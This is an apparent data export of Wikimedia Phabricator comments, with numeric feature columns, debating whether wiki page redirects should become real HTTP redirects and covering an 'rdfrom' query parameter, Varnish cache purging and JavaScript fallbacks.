In case of HTTP 301/302 I think it should not be difficult to process the pair of requests as a single event and account for it in any way that we find appropriate.",,,1498532615,,PHID-USER-zypu533gadta5o4pukhy,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,False,,,199,True,3.0,0.0,0.0,0.0,3.0,8.0,3.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,18.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,5.0,3.0,13.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,11.0,18.0,5.0,0.0,0.0,0.0,11.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.8157894736842106,0.9210526315789473,"QUOTE
QUOTE

In case of HTTP 301/302 I think it should not be difficult to process the pair of requests as a single event and account for it in any way that we find appropriate."
882559,Consider changing wikipage redirects to be proper HTTP redirects,">>! In T53736#3365130, @Zazpot wrote:
>>>! In T53736#3349657, @GWicke wrote:
>> In the past, we discussed adding the ""redirected from"" thing in client-side javascript.
> 
> It's unclear (to me) from this remark whether you spotted that the purpose of this issue is, at least in part, to handle cases where client-side JavaScript is not present (e.g. a browser that does not support JavaScript, or that has JavaScript disabled). Probably you already understood that, but I'm adding this clarificatory remark just in case not ;)

To clarify: I was talking about the ""redirected from"" notice, which at least the current description does not call out as needs-to-work-without-JS. While fundamental functionality like linking clearly shouldn't rely on JS, it might make sense to rely on JS for less critical features like small notices aimed primarily at editors, especially when that enables better cache performance.",,,1498522148,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,False,,,199,True,0.0,0.0,0.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,8.0,19.0,0.0,2.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,4.0,1.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,11.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,13.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,2.0,19.0,8.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,2.0,1.0,0.0,4.223529411764706,0.7411764705882353,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

To clarify: I was talking about the ""redirected from"" notice, which at least the current description does not call out as needs-to-work-without-JS. While fundamental functionality like linking clearly shouldn't rely on JS, it might make sense to rely on JS for less critical features like small notices aimed primarily at editors, especially when that enables better cache performance."
882543,Consider changing wikipage redirects to be proper HTTP redirects,"Naive question: What would the analytics impact of this be - would we continue to register a webrequest / pageview for the redirect page, or would this change to the target page? (Cf. T121912)",,,1498520815,,PHID-USER-wlku5ja6envbi4cz2etp,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,True,,,199,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,18.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,10.0,0.0,2.0,15.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,2.0,10.0,5.0,2.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,3.975,0.825,"Naive question: What would the analytics impact of this be - would we continue to register a webrequest / pageview for the redirect page, or would this change to the target page? (Cf. T121912)"
882597,Consider changing wikipage redirects to be proper HTTP redirects,"@Krinkle Thank you for your thorough explanation. I just thought that the `rdfrom` parameter's purpose was to be able to provide the ""Redirected from .."" message while using a HTTP 302 redirect:
If `/wiki/Redirect` responds with something like
`302 Found; Location: /wiki/Target?rdfrom=Redirect#Section`, we will:
- not need to purge `/wiki/Redirect` upon modification of `Target`,
- not need to alter `<a href=""/wiki/Redirect"">` in rendered pages,
- not need to purge pages linking to `Redirect` upon its modification,
- have to purge `/wiki/Target?rdfrom=anything` upon modification of `Target`.",,,1498530712,,PHID-USER-zypu533gadta5o4pukhy,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,False,,,199,True,0.0,1.0,0.0,0.0,3.0,3.0,2.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,20.0,1.0,6.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,1.0,3.0,1.0,1.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,1.0,8.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,15.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,9.0,0.0,1.0,0.0,5.0,20.0,9.0,0.0,2.0,0.0,5.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,3.877551020408163,0.5816326530612245,"SCREEN_NAME Thank you for your thorough explanation. I just thought that the CODE parameter's purpose was to be able to provide the ""Redirected from .."" message while using a HTTP 302 redirect:
If CODE responds with something like
CODE, we will:
- not need to purge CODE upon modification of CODE,
- not need to alter CODE in rendered pages,
- not need to purge pages linking to CODE upon its modification,
- have to purge CODE upon modification of CODE."
882534,Consider changing wikipage redirects to be proper HTTP redirects,"@Krinkle Thank you for your thorough explanation. I just thought that the `rdfrom` parameter's purpose was to be able to provide the ""Redirected from .."" message while using a HTTP 302 redirect:
If `/wiki/Redirect` responds with something like
`302 Found; Location: /wiki/Target?rdrom=Redirect#Section`, we will:
- not need to purge `/wiki/Redirect` upon modification of `Target`,
- not need to alter `<a href=""/wiki/Redirect"">` in rendered pages,
- not need to purge pages linking to `Redirect` upon its modification,
- have to purge `/wiki/Target?rdrom=anything` upon modification of `Target`.",,,1498519831,,PHID-USER-zypu533gadta5o4pukhy,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,False,,,199,True,0.0,1.0,0.0,0.0,3.0,3.0,2.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,20.0,1.0,6.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,1.0,3.0,1.0,1.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,1.0,8.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,15.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,9.0,0.0,1.0,0.0,5.0,20.0,9.0,0.0,2.0,0.0,5.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,3.877551020408163,0.5816326530612245,"SCREEN_NAME Thank you for your thorough explanation. I just thought that the CODE parameter's purpose was to be able to provide the ""Redirected from .."" message while using a HTTP 302 redirect:
If CODE responds with something like
CODE, we will:
- not need to purge CODE upon modification of CODE,
- not need to alter CODE in rendered pages,
- not need to purge pages linking to CODE upon its modification,
- have to purge CODE upon modification of CODE."
882398,Consider changing wikipage redirects to be proper HTTP redirects,"I've updated the task description to provide a summarised problem statement.

@petr.matas Let's explore adding a query parameter. There are multiple kinds of query parameters we could consider, but let's start by considering a query parameter to indicate where we redirected ""from"".

Rendering of page links in the content would change to link to `Target#Section` instead of `Redirect`, and we'd also add a query parameter that says we came from `Redirect`.

* Page rendering:  `<a href=""/wiki/Redirect` would instead become `<a href=""/wiki/Target?rdfrom=Redirect#Section`.

Impact:
* Usability: The order of information is slight confusing. However, this seems like a small trade-off and probably unavoidable.  At least for JavaScript-enabled users we'll be able to hide it, similar to how we already replace the address bar to avoid the redirect for social sharing.
* Parser cache: We'll have to start purging parser cache of all pages with incoming links when editing a redirect. This is a small cost we'll pay internally, but nothing we can't handle, and won't affect the user.
* Purging: Also, we need need to purge the exact url `Target?rdfrom=Redirect` whenever `Target` is edited. Right now we purge `Redirect` because `/wiki/Redirect` currently renders the content of `Target` (+ header message). We'll need to update that logic to also purge `Target?rdfrom=Redirect`.

One problem this also exposes is that we currently discourage use of query parameters on ""pretty"" urls. E.g. they're supposed to be used on `/w/index.php`, not `/wiki/`. So perhaps it's better if we link to `/w/index.php?title=Target&rdfrom=Redirect#Section`. The problem with that is that that makes rewriting to `/wiki/Target` harder because it changes directory from `/w` to `/wiki` which causes bugs when resolving relative links on the page. (e.g. `./Foo` becomes `/wiki/Foo` or `/w/Foo`).

In addition, using query parameters may add the expectation of it being ""okay"" to use them in a different order. E.g. `rdfrom` first: `/w/index.php?rdfrom=Redirect&title=Target#Section`. Although that should be fine, given we already have that with `action=raw` and we only purge the official order. The other ones will become stale. In fact, it might actually be useful to consider putting `rdfrom` in that it makes the url nicer (it puts `Target` and `#Section` next to each other). But that should be invisible to most users, and it's better to be consistent with other urls and always put `title` first.

Lastly, when JavaScript fails or otherwise unavailable, in the current situation, the fallback is rendering (and sharing) of `/wiki/Redirect` which isn't a bad url. The only downside is that people may see ""Redirected from"" which is fine. The same would've happened if `Redirect` wasn't a redirect at the time of sharing and only became a redirect later. The url pattern is consistent and transparent to the user. However, when we change redirects to `/w/`, query parameters the fallback is showing `/w/index.php?title=Target&rdfrom=Redirect#Section` which is a url we'd prefer not to spread. But again, perhaps it doesn't matter?

All in all, it seems we can deal with the impact without any significant downsides.

>>! In T53736#3380285, @petr.matas wrote:
> May I ask for an explanation [..] of the //URL parameter in HTTP redirect target// solution's cons, please? [..] What does the stripping in Varnish mean and what are its implications?

The ""stripping in Varnish"" refers to a minor optimisation of the query parameter proposal. If we remove the ""Redirected from"" message from ""/wiki/Redirect"" and instead change pages to link directly to `/wiki/Target?rdrom=Redirect`, that would work fine, but has the minor down side of increasing the number of different versions of `Target` we need to store in Varnish (our page caching system). If we configure Varnish to redirect `Article?rdfrom=...` exactly the same as `/wiki/Article`, we would only have 1 thing to cache per article, instead of ""two"" versions of it. Then, in JavaScript, if you view the page with `rdfrom` (which would be ignored by the server), we can re-create the ""Redirected from .."" message and add it to the top of the page.

",,,1498510556,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,True,,,199,True,0.625,0.0,0.0,0.375,0.875,5.5,1.875,0.25,0.125,0.625,2.625,1.75,0.0,0.5,0.125,3.25,0.25,7.0,12.375,0.125,2.125,0.25,0.0,0.125,0.625,0.25,0.0,0.0,0.75,1.625,0.125,5.625,0.875,1.5,0.625,0.125,0.25,0.25,0.875,0.625,0.0,0.25,0.375,1.25,0.125,1.0,0.0,0.125,0.0,12.875,0.875,0.875,0.375,0.125,0.0,0.0,0.0,0.0,0.75,0.0,0.0,0.875,0.125,0.25,0.0,0.625,0.125,5.875,2.75,11.0,2.375,2.5,8.125,0.0,0.0,0.0,0.0,6.375,0.25,0.375,0.0,5.5,12.375,5.125,0.125,2.25,0.0,5.5,0.0,1.75,1.625,0.125,1.625,0.5,0.25,0.0,3.8989361702127656,0.6742021276595744,"I've updated the task description to provide a summarised problem statement.
SCREEN_NAME.matas Let's explore adding a query parameter. There are multiple kinds of query parameters we could consider, but let's start by considering a query parameter to indicate where we redirected ""from"".

Rendering of page links in the content would change to link to CODE instead of CODE, and we'd also add a query parameter that says we came from CODE.

* Page rendering:  CODE would instead become CODE.

Impact:
* Usability: The order of information is slight confusing. However, this seems like a small trade-off and probably unavoidable.  At least for JavaScript-enabled users we'll be able to hide it, similar to how we already replace the address bar to avoid the redirect for social sharing.
* Parser cache: We'll have to start purging parser cache of all pages with incoming links when editing a redirect. This is a small cost we'll pay internally, but nothing we can't handle, and won't affect the user.
* Purging: Also, we need need to purge the exact url CODE whenever CODE is edited. Right now we purge CODE because CODE currently renders the content of CODE (+ header message). We'll need to update that logic to also purge CODE.

One problem this also exposes is that we currently discourage use of query parameters on ""pretty"" urls. E.g. they're supposed to be used on CODE, not CODE. So perhaps it's better if we link to CODE. The problem with that is that that makes rewriting to CODE harder because it changes directory from CODE to CODE which causes bugs when resolving relative links on the page. (e.g. CODE becomes CODE or CODE).

In addition, using query parameters may add the expectation of it being ""okay"" to use them in a different order. E.g. CODE first: CODE. Although that should be fine, given we already have that with CODE and we only purge the official order. The other ones will become stale. In fact, it might actually be useful to consider putting CODE in that it makes the url nicer (it puts CODE and CODE next to each other). But that should be invisible to most users, and it's better to be consistent with other urls and always put CODE first.

Lastly, when JavaScript fails or otherwise unavailable, in the current situation, the fallback is rendering (and sharing) of CODE which isn't a bad url. The only downside is that people may see ""Redirected from"" which is fine. The same would've happened if CODE wasn't a redirect at the time of sharing and only became a redirect later. The url pattern is consistent and transparent to the user. However, when we change redirects to CODE, query parameters the fallback is showing CODE which is a url we'd prefer not to spread. But again, perhaps it doesn't matter?

All in all, it seems we can deal with the impact without any significant downsides.

QUOTE
QUOTE

The ""stripping in Varnish"" refers to a minor optimisation of the query parameter proposal. If we remove the ""Redirected from"" message from ""/wiki/Redirect"" and instead change pages to link directly to CODE, that would work fine, but has the minor down side of increasing the number of different versions of CODE we need to store in Varnish (our page caching system). If we configure Varnish to redirect CODE exactly the same as CODE, we would only have 1 thing to cache per article, instead of ""two"" versions of it. Then, in JavaScript, if you view the page with CODE (which would be ignored by the server), we can re-create the ""Redirected from .."" message and add it to the top of the page.

"
882391,Consider changing wikipage redirects to be proper HTTP redirects,"I've updated the task description to provide a summarised problem statement.

@petr.matas Let's explore adding a query parameter. There are multiple kinds of query parameters we could consider, but let's start by considering a query parameter to indicate where we redirected ""from"".

Rendering of page links in the content would change to link to `Target#Section` instead of `Redirect`, and we'd also add a query parameter that says we came from `Redirect`.

* Page rendering:  `<a href=""/wiki/Redirect` would instead become `<a href=""/wiki/Target?rdfrom=Redirect#Section`.

Impact:
* Usability: The order of information is slight confusing. However, this seems like a small trade-off and probably unavoidable.  At least for JavaScript-enabled users we'll be able to hide it, similar to how we already replace the address bar to avoid the redirect for social sharing.
* Parser cache: We'll have to start purging parser cache of all pages with incoming links when editing a redirect. This is a small cost we'll pay internally, but nothing we can't handle, and won't affect the user.
* Purging: Also, we need need to purge the exact url `Target?rdfrom=Redirect` whenever `Target` is edited. Right now we purge `Redirect` because `/wiki/Redirect` currently renders the content of `Target` (+ header message). We'll need to update that logic to also purge `Target?rdfrom=Redirect`.

One problem this also exposes is that we currently discourage use of query parameters on ""pretty"" urls. E.g. they're supposed to be used on `/w/index.php`, not `/wiki/`. So perhaps it's better if we link to `/w/index.php?title=Target&rdfrom=Redirect#Section`. The problem with that is that that makes rewriting to `/wiki/Target` harder because it changes directory from `/w` to `/wiki` which causes bugs when resolving relative links on the page. (e.g. `./Foo` becomes `/wiki/Foo` or `/w/Foo`).

In addition, using query parameters may add the expectation of it being ""okay"" to use them in a different order. E.g. `rdfrom` first: `/w/index.php?rdfrom=Redirect&title=Target#Section`. Although that should be fine, given we already have that with `action=raw` and we only purge the official order. The other ones will become stale. In fact, it might actually be useful to consider putting `rdfrom` in that it makes the url nicer (it puts `Target` and `#Section` next to each other). But that should be invisible to most users, and it's better to be consistent with other urls and always put `title` first.

Lastly, when JavaScript fails or otherwise unavailable, in the current situation, the fallback is rendering (and sharing) of `/wiki/Redirect` which isn't a bad url. The only downside is that people may see ""Redirected from"" which is fine. The same would've happened if `Redirect` wasn't a redirect at the time of sharing and only became a redirect later. The url pattern is consistent and transparent to the user. However, when we change redirects to `/w/`, query parameters the fallback is showing `/w/index.php?title=Target&rdfrom=Redirect#Section` which is a url we'd prefer not to spread. But again, perhaps it doesn't matter?",,,1498510005,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,True,,,199,True,0.3333333333333333,0.0,0.0,0.3333333333333333,1.1666666666666667,5.833333333333333,2.5,0.3333333333333333,0.16666666666666666,0.3333333333333333,2.3333333333333335,2.3333333333333335,0.0,0.5,0.16666666666666666,3.1666666666666665,0.16666666666666666,8.0,11.0,0.16666666666666666,2.3333333333333335,0.3333333333333333,0.0,0.16666666666666666,0.8333333333333334,0.3333333333333333,0.0,0.0,0.6666666666666666,1.6666666666666667,0.0,6.333333333333333,1.1666666666666667,1.5,0.6666666666666666,0.0,0.16666666666666666,0.16666666666666666,0.5,0.8333333333333334,0.0,0.3333333333333333,0.5,1.1666666666666667,0.0,1.3333333333333333,0.0,0.16666666666666666,0.0,13.5,1.0,1.1666666666666667,0.16666666666666666,0.16666666666666666,0.0,0.0,0.0,0.0,0.8333333333333334,0.0,0.0,1.0,0.16666666666666666,0.16666666666666666,0.0,0.8333333333333334,0.16666666666666666,5.666666666666667,3.5,11.333333333333334,2.6666666666666665,2.8333333333333335,8.333333333333334,0.0,0.0,0.0,0.0,6.333333333333333,0.3333333333333333,0.16666666666666666,0.0,5.333333333333333,11.0,5.333333333333333,0.16666666666666666,1.3333333333333333,0.0,5.333333333333333,0.0,2.0,2.0,0.16666666666666666,1.6666666666666667,0.6666666666666666,0.3333333333333333,0.0,3.9479166666666665,0.6805555555555555,"I've updated the task description to provide a summarised problem statement.
SCREEN_NAME.matas Let's explore adding a query parameter. There are multiple kinds of query parameters we could consider, but let's start by considering a query parameter to indicate where we redirected ""from"".

Rendering of page links in the content would change to link to CODE instead of CODE, and we'd also add a query parameter that says we came from CODE.

* Page rendering:  CODE would instead become CODE.

Impact:
* Usability: The order of information is slight confusing. However, this seems like a small trade-off and probably unavoidable.  At least for JavaScript-enabled users we'll be able to hide it, similar to how we already replace the address bar to avoid the redirect for social sharing.
* Parser cache: We'll have to start purging parser cache of all pages with incoming links when editing a redirect. This is a small cost we'll pay internally, but nothing we can't handle, and won't affect the user.
* Purging: Also, we need need to purge the exact url CODE whenever CODE is edited. Right now we purge CODE because CODE currently renders the content of CODE (+ header message). We'll need to update that logic to also purge CODE.

One problem this also exposes is that we currently discourage use of query parameters on ""pretty"" urls. E.g. they're supposed to be used on CODE, not CODE. So perhaps it's better if we link to CODE. The problem with that is that that makes rewriting to CODE harder because it changes directory from CODE to CODE which causes bugs when resolving relative links on the page. (e.g. CODE becomes CODE or CODE).

In addition, using query parameters may add the expectation of it being ""okay"" to use them in a different order. E.g. CODE first: CODE. Although that should be fine, given we already have that with CODE and we only purge the official order. The other ones will become stale. In fact, it might actually be useful to consider putting CODE in that it makes the url nicer (it puts CODE and CODE next to each other). But that should be invisible to most users, and it's better to be consistent with other urls and always put CODE first.

Lastly, when JavaScript fails or otherwise unavailable, in the current situation, the fallback is rendering (and sharing) of CODE which isn't a bad url. The only downside is that people may see ""Redirected from"" which is fine. The same would've happened if CODE wasn't a redirect at the time of sharing and only became a redirect later. The url pattern is consistent and transparent to the user. However, when we change redirects to CODE, query parameters the fallback is showing CODE which is a url we'd prefer not to spread. But again, perhaps it doesn't matter?"
882390,Consider changing wikipage redirects to be proper HTTP redirects,"I've updated the task description to provide a summarised problem statement.

@petr.matas Let's explore adding a query parameter. There are multiple kinds of query parameters we could consider, but let's start by considering a query parameter to indicate where we redirected ""from"".

Rendering of page links in the content would change to link to `Target#Section` instead of `Redirect`, and we'd also add a query parameter that says we came from `Redirect`.

* Page rendering:  `<a href=""/wiki/Redirect` would instead become `<a href=""/wiki/Target?rdfrom=Redirect#Section`.

Impact:
* Usability: The order of information is slight confusing. However, this seems like a small trade-off and probably unavoidable.  At least for JavaScript-enabled users we'll be able to hide it, similar to how we already replace the address bar to avoid the redirect for social sharing.
* Parser cache: We'll have to start purging parser cache of all pages with incoming links when editing a redirect. This is a small cost we'll pay internally, but nothing we can't handle, and won't affect the user.
* Purging: Also, we need need to purge the exact url `Target?rdfrom=Redirect` whenever `Target` is edited. Right now we purge `Redirect` because `/wiki/Redirect` currently renders the content of `Target` (+ header message). We'll need to update that logic to also purge `Target?rdfrom=Redirect`.

One problem this also exposes is that we currently discourage use of query parameters on ""pretty"" urls. E.g. they're supposed to be used on `/w/index.php`, not `/wiki/`. So perhaps it's better if we link to `/w/index.php?title=Target&rdfrom=Redirect#Section`. The problem with that is that that makes rewriting to `/wiki/Target` harder because it changes directory from `/w` to `/wiki` which causes bugs when resolving relative links on the page. (e.g. `./Foo` becomes `/wiki/Foo` or `/w/Foo`).

In addition, using query parameters may add the expectation of it being ""okay"" to use them in a different order. E.g. `rdfrom` first: `/w/index.php?rdfrom=Redirect&title=Target#Section`. Although that should be fine, given we already have that with `action=raw` and we only purge the official order. The other ones will become stale. In fact, it might actually be useful to consider putting `rdfrom` in that it makes the url nicer (it puts `Target




/w?rdfrom=Knight_4000&title=KITT#Knight_4000 (logical, but non-standard order)

/w?title=KITT&rdfrom=Knight_4000#Knight_4000 (standard order, but confusing to read. also cannot be safely rewritten client-side from /w to /wiki due to base path differences)

/wiki/KITT?rdfrom=Knight_4000#Knight_4000 (safely written, somewhat confusing to read - should be fine otherwise)
",,,1498509838,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,True,,,199,True,0.2,0.0,0.0,0.6,0.8,5.6,1.6,0.4,0.2,0.2,2.4,1.8,0.0,0.4,0.2,3.4,0.2,7.6,11.6,0.2,2.8,0.4,0.0,0.0,0.6,0.0,0.0,0.0,0.8,1.6,0.0,5.6,1.0,1.4,1.0,0.0,0.2,0.0,0.4,1.2,0.0,0.4,0.2,1.2,0.0,0.8,0.0,0.2,0.0,13.8,1.0,1.2,0.0,0.0,0.0,0.0,0.0,0.0,0.6,0.0,0.0,1.4,0.2,0.2,0.0,0.8,0.2,4.4,2.6,11.8,2.4,2.0,6.4,0.0,0.0,0.0,0.0,7.0,0.4,0.2,0.0,6.4,11.6,6.0,0.0,1.2,0.0,6.4,0.0,1.4,1.6,0.2,1.8,0.6,0.2,0.2,4.080323232323233,0.6875555555555556,"I've updated the task description to provide a summarised problem statement.
SCREEN_NAME.matas Let's explore adding a query parameter. There are multiple kinds of query parameters we could consider, but let's start by considering a query parameter to indicate where we redirected ""from"".

Rendering of page links in the content would change to link to CODE instead of CODE, and we'd also add a query parameter that says we came from CODE.

* Page rendering:  CODE would instead become CODE.

Impact:
* Usability: The order of information is slight confusing. However, this seems like a small trade-off and probably unavoidable.  At least for JavaScript-enabled users we'll be able to hide it, similar to how we already replace the address bar to avoid the redirect for social sharing.
* Parser cache: We'll have to start purging parser cache of all pages with incoming links when editing a redirect. This is a small cost we'll pay internally, but nothing we can't handle, and won't affect the user.
* Purging: Also, we need need to purge the exact url CODE whenever CODE is edited. Right now we purge CODE because CODE currently renders the content of CODE (+ header message). We'll need to update that logic to also purge CODE.

One problem this also exposes is that we currently discourage use of query parameters on ""pretty"" urls. E.g. they're supposed to be used on CODE, not CODE. So perhaps it's better if we link to CODE. The problem with that is that that makes rewriting to CODE harder because it changes directory from CODE to CODE which causes bugs when resolving relative links on the page. (e.g. CODE becomes CODE or CODE).

In addition, using query parameters may add the expectation of it being ""okay"" to use them in a different order. E.g. CODE first: CODE. Although that should be fine, given we already have that with CODE and we only purge the official order. The other ones will become stale. In fact, it might actually be useful to consider putting CODE in that it makes the url nicer (it puts `Target




/w?rdfrom=Knight_4000&title=KITT#Knight_4000 (logical, but non-standard order)

/w?title=KITT&rdfrom=Knight_4000#Knight_4000 (standard order, but confusing to read. also cannot be safely rewritten client-side from /w to /wiki due to base path differences)

/wiki/KITT?rdfrom=Knight_4000#Knight_4000 (safely written, somewhat confusing to read - should be fine otherwise)
"
882350,Consider changing wikipage redirects to be proper HTTP redirects,">>! In T53736#3349657, @GWicke wrote:
> I guess cookie, localstorage, or magic URL parameter in redirect target (stripped in Varnish) could work, with different pros & cons.

May I ask for an explanation (or a reference to one) of the //URL parameter in HTTP redirect target// solution's cons, please? (Some pros are at T144781#3342890; sorry for repeating myself.) What does the stripping in Varnish mean and what are its implications?",,,1498505715,,PHID-USER-zypu533gadta5o4pukhy,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,False,,,199,True,2.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,16.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,5.0,12.0,7.0,4.0,0.0,0.0,5.0,0.0,4.0,4.0,2.0,2.0,0.0,0.0,0.0,4.0701754385964914,0.8596491228070176,"QUOTE
QUOTE

May I ask for an explanation (or a reference to one) of the //URL parameter in HTTP redirect target// solution's cons, please? (Some pros are at T144781#3342890; sorry for repeating myself.) What does the stripping in Varnish mean and what are its implications?"
882261,Consider changing wikipage redirects to be proper HTTP redirects,"This RFC has been scheduled for public discussion on June 28. As always, the discussion will take place in the IRC channel #wikimedia-office on Wednesday 21:00 UTC (2pm PDT, 23:00 CEST).

The aim of the public discussion is to evaluate the various options, rule some out, and perhaps discover new ones.

This is a very old discussion, and has subtle but far reaching implications, both technical and user facing.

Pinging Readers: @JKatzWMF 
Pinging Community Liaisons: @Trizek-WMF, @Keegan, @Quiddity.
Pinging Opsen: @faidon @Dzahn @Joe ",,,1498499279,,PHID-USER-5dqihbanu3caaj7pigif,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,False,,,199,True,1.0,0.0,1.0,0.5,0.0,5.0,1.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,4.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,3.5,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,9.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,2.0,17.5,0.0,4.5,5.5,0.0,0.0,0.0,0.5,2.0,0.0,4.0,0.0,0.0,4.5,5.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.5,0.0,0.0,2.0,4.427272727272728,0.7545454545454546,"This RFC has been scheduled for public discussion on June 28. As always, the discussion will take place in the IRC channel #wikimedia-office on Wednesday 21:00 UTC (2pm PDT, 23:00 CEST).

The aim of the public discussion is to evaluate the various options, rule some out, and perhaps discover new ones.

This is a very old discussion, and has subtle but far reaching implications, both technical and user facing.

Pinging Readers:SCREEN_NAME 
Pinging Community Liaisons:SCREEN_NAME-WMF,SCREEN_NAME,SCREEN_NAME.
Pinging Opsen:SCREEN_NAMESCREEN_NAMESCREEN_NAME "
879529,Consider changing wikipage redirects to be proper HTTP redirects,"Performance is not a concern, because HTTP redirect to a fragment is faster than jump to an anchor using JavaScript (compare opening [[ https://en.wikipedia.org/wiki/WP:Notability#General_notability_guideline | WP:Notability#General_notability_guideline ]] and [[ https://en.wikipedia.org/wiki/Wikipedia:GNG | Wikipedia:GNG ]]).",,,1497997793,,PHID-USER-zypu533gadta5o4pukhy,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,False,,,198,True,0.0,0.0,0.0,0.0,2.0,2.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,20.0,2.0,2.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,9.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,2.0,0.0,4.0,4.155555555555556,0.7333333333333333,"Performance is not a concern, because HTTP redirect to a fragment is faster than jump to an anchor using JavaScript (compare opening [[ URL | WP:Notability#General_notability_guideline ]] and [[ URL | Wikipedia:GNG ]])."
879423,Consider changing wikipage redirects to be proper HTTP redirects,">>! In T53736#3362847, @Tgr wrote:
>>>! In T53736#3343170, @Krinkle wrote:
>> Related use cases we don't want to break:
> 
> Also performance? A HTTP redirect would introduce delay for no good reason (unless we cache it in Varnish and then deal with cache invalidation).
> 
> [...] IMO the low-hanging fruit is to just change the text of the redirect warning as suggested in T53736#556866.

Caching, and handling the cache invalidation correctly, would be ideal.

